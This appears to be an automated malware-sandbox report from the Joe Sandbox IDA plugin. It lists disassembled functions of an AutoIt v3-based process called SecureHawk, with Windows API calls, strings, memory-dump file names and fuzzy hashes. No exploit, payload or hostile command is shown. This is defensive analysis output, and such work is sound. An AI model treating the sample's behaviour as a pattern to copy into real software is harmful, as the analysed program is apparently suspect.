GetDeviceCaps.GDI32(00000000,0000005A), ref: 00367B6E
DeleteDC.GDI32(00000000), ref: 00367B77
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00367BA3
SendMessageW.USER32(00000030,00000000,00000001), ref: 00367BBA
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00367BF5
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00367C09
SendMessageW.USER32(00000404,00000001,00000000), ref: 00367C1A
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00367C4A
GetStockObject.GDI32(00000011), ref: 00367C55
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00367C60
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00367C6A

Strings

static, xrefs: 00367B2C, 00367C44
AutoIt v3, xrefs: 00367ADA
msctls_progress32, xrefs: 00367BEB
DISPLAY, xrefs: 00367B37

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: af89be582b818b28e8d9bc587be52523a8d5cc2994145f1d7c862f152e9bc266
Instruction ID: caac86c7a2c9ce8bce2acbf43d4bb889d32c732f18407bd972f9514ef7bca158
Opcode Fuzzy Hash: af89be582b818b28e8d9bc587be52523a8d5cc2994145f1d7c862f152e9bc266
Instruction Fuzzy Hash: FCA18171A40219BFEB15DBA4DC4AFAE7BADEB44714F008654FA15AB2E1C774AD00CB60

Function 0035B1C0 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0035B1CE
GetDriveTypeW.KERNEL32(?,00382C4C,?,\\.\,00380980), ref: 0035B2AB
SetErrorMode.KERNEL32(00000000,00382C4C,?,\\.\,00380980), ref: 0035B409

Strings

1394, xrefs: 0035B38B
USB, xrefs: 0035B3A0
FileBackedVirtual, xrefs: 0035B3D8
CDROM, xrefs: 0035B2DF
Fibre, xrefs: 0035B399
Fixed, xrefs: 0035B2F3
RAID, xrefs: 0035B3A7
Virtual, xrefs: 0035B3D1
ATA, xrefs: 0035B384
SAS, xrefs: 0035B3B5
\\.\, xrefs: 0035B220
MMC, xrefs: 0035B3CA
SATA, xrefs: 0035B3BC
RAMDisk, xrefs: 0035B2D5
SCSI, xrefs: 0035B376
SSD, xrefs: 0035B336
Network, xrefs: 0035B2E9
Removable, xrefs: 0035B2FD
ATAPI, xrefs: 0035B37D
SSA, xrefs: 0035B392
PhysicalDrive, xrefs: 0035B257
Unknown, xrefs: 0035B2CB, 0035B36F
iSCSI, xrefs: 0035B3AE

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 2aac8488c228bf57b80f968014b1720a0963120850fc225cf5cedb7920c0a0e6
Instruction ID: cadaafffe114a1ee015be62b5c1182029914730161ad70690b17851547dcb624
Opcode Fuzzy Hash: 2aac8488c228bf57b80f968014b1720a0963120850fc225cf5cedb7920c0a0e6
Instruction Fuzzy Hash: F251C174640209AFCB07EB14D9A3EBDF3A5EB05382B214457EC06BBAB0D7B09D59CB51

Function 0037ACB7 Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0037ACF0
SetTextColor.GDI32(?,?), ref: 0037ACF4
GetSysColorBrush.USER32(0000000F), ref: 0037AD0A
GetSysColor.USER32(0000000F), ref: 0037AD15
CreateSolidBrush.GDI32(?), ref: 0037AD1A
GetSysColor.USER32(00000011), ref: 0037AD32
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0037AD40
SelectObject.GDI32(?,00000000), ref: 0037AD51
SetBkColor.GDI32(?,00000000), ref: 0037AD5A
SelectObject.GDI32(?,?), ref: 0037AD67
InflateRect.USER32(?,000000FF,000000FF), ref: 0037AD86
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0037AD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 0037ADB2
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0037ADDA
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0037AE01
InflateRect.USER32(?,000000FD,000000FD), ref: 0037AE1F
DrawFocusRect.USER32(?,?), ref: 0037AE2A
GetSysColor.USER32(00000011), ref: 0037AE38
SetTextColor.GDI32(?,00000000), ref: 0037AE40
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0037AE54
SelectObject.GDI32(?,0037A9E7), ref: 0037AE6B
DeleteObject.GDI32(?), ref: 0037AE76
SelectObject.GDI32(?,?), ref: 0037AE7C
DeleteObject.GDI32(?), ref: 0037AE81
SetTextColor.GDI32(?,?), ref: 0037AE87
SetBkColor.GDI32(?,?), ref: 0037AE91

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 811a4b059ea812da061c6976e56e2dc80f1c19d321031c971ebb36dffc8ca946
Instruction ID: a2043194b3e433e67b21c01042ab7bdcb555e13778d40aba71041c9187a3a2ea
Opcode Fuzzy Hash: 811a4b059ea812da061c6976e56e2dc80f1c19d321031c971ebb36dffc8ca946
Instruction Fuzzy Hash: 4D516C71800608BFDB669FA4DC48EAE7B79EF48320F118155F915AB2A1D7759A40CFA0

Function 00378DC2 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00378EAE
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00378EBF
CharNextW.USER32(0000014E), ref: 00378EEE
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00378F2F
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00378F45
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00378F56
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00378F73
SetWindowTextW.USER32(?,0000014E), ref: 00378FC5
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00378FDB
SendMessageW.USER32(?,00001002,00000000,?), ref: 0037900C
_memset.LIBCMT ref: 00379031
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 0037907A
_memset.LIBCMT ref: 003790D9
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00379103
SendMessageW.USER32(?,00001074,?,00000001), ref: 0037915B
SendMessageW.USER32(?,0000133D,?,?), ref: 00379208
InvalidateRect.USER32(?,00000000,00000001), ref: 0037922A
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00379274
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003792A1
DrawMenuBar.USER32(?), ref: 003792B0
SetWindowTextW.USER32(?,0000014E), ref: 003792D8

Strings

0, xrefs: 00379242

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 334b9b10fffa90af65efb74fe445091de1a63f17b291437bdfe10644973b7fd1
Instruction ID: ec5d6d0dc4e99acdc1c93f05466e9c7f3143c6b05fcde70fff177517916458b5
Opcode Fuzzy Hash: 334b9b10fffa90af65efb74fe445091de1a63f17b291437bdfe10644973b7fd1
Instruction Fuzzy Hash: 9AE19F71900218EFDB329F50CC89EEE7BB9EF05710F10C256F919AA191DB788A85DF60

Function 00374C94 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00374DCF
GetDesktopWindow.USER32 ref: 00374DE4
GetWindowRect.USER32(00000000), ref: 00374DEB
GetWindowLongW.USER32(?,000000F0), ref: 00374E4D
DestroyWindow.USER32(?), ref: 00374E79
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00374EA2
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00374EC0
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00374EE6
SendMessageW.USER32(?,00000421,?,?), ref: 00374EFB
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00374F0E
IsWindowVisible.USER32(?), ref: 00374F2E
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00374F49
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00374F5D
GetWindowRect.USER32(?,?), ref: 00374F75
MonitorFromPoint.USER32(?,?,00000002), ref: 00374F9B
GetMonitorInfoW.USER32(00000000,?), ref: 00374FB5
CopyRect.USER32(?,?), ref: 00374FCC
SendMessageW.USER32(?,00000412,00000000), ref: 00375037

Strings

tooltips_class32, xrefs: 00374E9B
0, xrefs: 00374D7A
(, xrefs: 00374FA8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 59d0be4b28ff56a88bb591558fa90918596de6d844e8c2a5c4af804beb5b589d
Instruction ID: d0723f125c5f093ac11560b33c7dc3f12af98880b736328aa0c4c268f2d79507
Opcode Fuzzy Hash: 59d0be4b28ff56a88bb591558fa90918596de6d844e8c2a5c4af804beb5b589d
Instruction Fuzzy Hash: 17B18871614750AFDB55DF24C984B6BBBE4FF88310F008A1CF6999B292DB75E804CB92

Function 003547F7 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00354809
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0035482F
_wcscpy.LIBCMT ref: 0035485D
_wcscmp.LIBCMT ref: 00354868
_wcscat.LIBCMT ref: 0035487E
_wcsstr.LIBCMT ref: 00354889
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 003548A5
_wcscat.LIBCMT ref: 003548EE
_wcscat.LIBCMT ref: 003548F5
_wcsncpy.LIBCMT ref: 00354920

Strings

\VarFileInfo\Translation, xrefs: 0035489D
StringFileInfo\, xrefs: 00354878
04090000, xrefs: 003548DB
DefaultLangCodepage, xrefs: 00354908
%u.%u.%u.%u, xrefs: 00354983

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 83d617b49e58131f3070aa68d61c4b14c98f61d4d4a81f1625c9da5666c841db
Instruction ID: be59bc2b4a2e682fa21c7661a3934b021d9f62421be5ebfa1de511bd04d03855
Opcode Fuzzy Hash: 83d617b49e58131f3070aa68d61c4b14c98f61d4d4a81f1625c9da5666c841db
Instruction Fuzzy Hash: CD41F672A002047AE71FB7648C43EFF77ACDF49720F000056FD05AA1A2EB759A9297A5

Function 002F2BA9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002F2C8C
GetSystemMetrics.USER32(00000007), ref: 002F2C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002F2CBF
GetSystemMetrics.USER32(00000008), ref: 002F2CC7
GetSystemMetrics.USER32(00000004), ref: 002F2CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 002F2D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 002F2D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 002F2D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 002F2D60
GetClientRect.USER32(00000000,000000FF), ref: 002F2D7E
GetStockObject.GDI32(00000011), ref: 002F2D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 002F2DA5

Part of subcall function 002F2714: GetCursorPos.USER32(?), ref: 002F2727
Part of subcall function 002F2714: ScreenToClient.USER32(003B67B0,?), ref: 002F2744
Part of subcall function 002F2714: GetAsyncKeyState.USER32(00000001), ref: 002F2769
Part of subcall function 002F2714: GetAsyncKeyState.USER32(00000002), ref: 002F2777

SetTimer.USER32(00000000,00000000,00000028,002F1473), ref: 002F2DCC

Strings

h8, xrefs: 002F2BEC, 0032C363
AutoIt v3 GUI, xrefs: 002F2D44

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI$h8
API String ID: 1458621304-1985231161
Opcode ID: 7b7d7e6f26d6b75a0a90405cca92d67f23a0d34f5a7b1ef491d5bcc19c95ddc4
Instruction ID: dd2b8b2aeabf51e6a46cf62e1a31009ccbd0b979ddc387ba6f9369995a154e42
Opcode Fuzzy Hash: 7b7d7e6f26d6b75a0a90405cca92d67f23a0d34f5a7b1ef491d5bcc19c95ddc4
Instruction Fuzzy Hash: 40B17B75A1020ADFDB15DFA8DC86BADBBA8FB08354F104229FB15E7290DB74A854CF50

Function 00310354 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 348COMMON

Download Yara Rule

APIs

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

GetForegroundWindow.USER32(00380980,?,?,?,?,?), ref: 0031040E
IsWindow.USER32(?), ref: 003464A0

Strings

CLASS, xrefs: 003462CA
ACTIVE, xrefs: 0034626D
REGEXPCLASS, xrefs: 003462EB
INSTANCE, xrefs: 003463DF
ALL, xrefs: 00346407
TITLE, xrefs: 00346435
HANDLE, xrefs: 00346283
LAST, xrefs: 00346257
REGEXPTITLE, xrefs: 00346299

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: b3c3df37dc24878a20f755b71a77475cbc2524468e2eb2d61499f883fa744305
Instruction ID: 16ab185396ef1b0273bd70c41f51aa46bdb781f74b5d6d2bfa43013c166db6e1
Opcode Fuzzy Hash: b3c3df37dc24878a20f755b71a77475cbc2524468e2eb2d61499f883fa744305
Instruction Fuzzy Hash: BAD1B6301046029BCB0FEF21C4929AABBE5FF56344F404A1DF4564F6A2DB70F999CB92

Function 003741E7 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00374274
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00374334

Strings

FINDITEM, xrefs: 003744A7
GETITEMCOUNT, xrefs: 003742A6
SELECTINVERT, xrefs: 00374404
SELECT, xrefs: 003743CE
GETTEXT, xrefs: 003742DD
SELECTALL, xrefs: 0037439B
SELECTCLEAR, xrefs: 003743B3
ISSELECTED, xrefs: 0037433F
GETSELECTED, xrefs: 00374462
VIEWCHANGE, xrefs: 003744F3
GETSUBITEMCOUNT, xrefs: 003742BF
GETSELECTEDCOUNT, xrefs: 00374317
DESELECT, xrefs: 00374422

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 0a4eb365a5c9e011681485859da9df924a50deb0b913d7ab49d7665768bfa94d
Instruction ID: dff7c29399c4e3c56da2e0cbc41e8636b7731372c7a0c55fb8d10a024e7d4e84
Opcode Fuzzy Hash: 0a4eb365a5c9e011681485859da9df924a50deb0b913d7ab49d7665768bfa94d
Instruction Fuzzy Hash: 65A190302146019FCB2AEF10C852A7AB3A9FF85314F10896CB96A9F6D2DB74FC15CB51

Function 0034AF1D Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0034AF5E
__swprintf.LIBCMT ref: 0034AFFF
_wcscmp.LIBCMT ref: 0034B012
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0034B067
_wcscmp.LIBCMT ref: 0034B0A3
GetClassNameW.USER32(?,?,00000400), ref: 0034B0DA
GetDlgCtrlID.USER32(?), ref: 0034B12C
GetWindowRect.USER32(?,?), ref: 0034B162
GetParent.USER32(?), ref: 0034B180
ScreenToClient.USER32(00000000), ref: 0034B187
GetClassNameW.USER32(?,?,00000100), ref: 0034B201
_wcscmp.LIBCMT ref: 0034B215
GetWindowTextW.USER32(?,?,00000400), ref: 0034B23B
_wcscmp.LIBCMT ref: 0034B24F

Part of subcall function 0031378E: _iswctype.LIBCMT ref: 00313796

Strings

%s%u, xrefs: 0034AFF9

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 183acfbc8ba41630495cc84b6e21a1b7304fe5ae46a00e9644bb249d0932a22f
Instruction ID: 4fda3bf9244082abfbd6a8a8e9670a6708f8d7859c3c3d939151a925735acf3c
Opcode Fuzzy Hash: 183acfbc8ba41630495cc84b6e21a1b7304fe5ae46a00e9644bb249d0932a22f
Instruction Fuzzy Hash: 63A1AF71204706AFD71ADF60C884BAAF7E8FF48354F004A19F9999A190EB30F959CB91

Function 0034B850 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0034B894
_wcscmp.LIBCMT ref: 0034B8A5
GetWindowTextW.USER32(00000001,?,00000400), ref: 0034B8CD
CharUpperBuffW.USER32(?,00000000), ref: 0034B8EA
_wcscmp.LIBCMT ref: 0034B908
_wcsstr.LIBCMT ref: 0034B919
GetClassNameW.USER32(00000018,?,00000400), ref: 0034B951
_wcscmp.LIBCMT ref: 0034B961
GetWindowTextW.USER32(00000002,?,00000400), ref: 0034B988
GetClassNameW.USER32(00000018,?,00000400), ref: 0034B9D1
_wcscmp.LIBCMT ref: 0034B9E1
GetClassNameW.USER32(00000010,?,00000400), ref: 0034BA09
GetWindowRect.USER32(00000004,?), ref: 0034BA72

Strings

ThumbnailClass, xrefs: 0034B95C, 0034B9DC
@, xrefs: 0034B875

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 90c88b14041eb4b27ee24cfe6459b260ef514bde070ba5449980b92f9933265e
Instruction ID: 03944e037bb6bb41563d8fa9e4e23ace33f85aefe350c6a5aa8c42315da1f6b5
Opcode Fuzzy Hash: 90c88b14041eb4b27ee24cfe6459b260ef514bde070ba5449980b92f9933265e
Instruction Fuzzy Hash: FF817E71108305ABDB16DF14C985FAAB7ECEF44354F048569FE898E096DB30ED49CB61

Function 0037CA21 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

DragQueryPoint.SHELL32(?,?), ref: 0037CA4A

Part of subcall function 0037AF24: ClientToScreen.USER32(?,?), ref: 0037AF4D
Part of subcall function 0037AF24: GetWindowRect.USER32(?,?), ref: 0037AFC3
Part of subcall function 0037AF24: PtInRect.USER32(?,?,0037C437), ref: 0037AFD3

SendMessageW.USER32(?,000000B0,?,?), ref: 0037CAB3
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0037CABE
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0037CAE1
_wcscat.LIBCMT ref: 0037CB11
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0037CB28
SendMessageW.USER32(?,000000B0,?,?), ref: 0037CB41
SendMessageW.USER32(?,000000B1,?,?), ref: 0037CB58
SendMessageW.USER32(?,000000B1,?,?), ref: 0037CB7A
DragFinish.SHELL32(?), ref: 0037CB81
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0037CC74

Strings

@GUI_DROPID, xrefs: 0037CBA1
@GUI_DRAGFILE, xrefs: 0037CC23
pr;, xrefs: 0037CBBE
@GUI_DRAGID, xrefs: 0037CBEC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
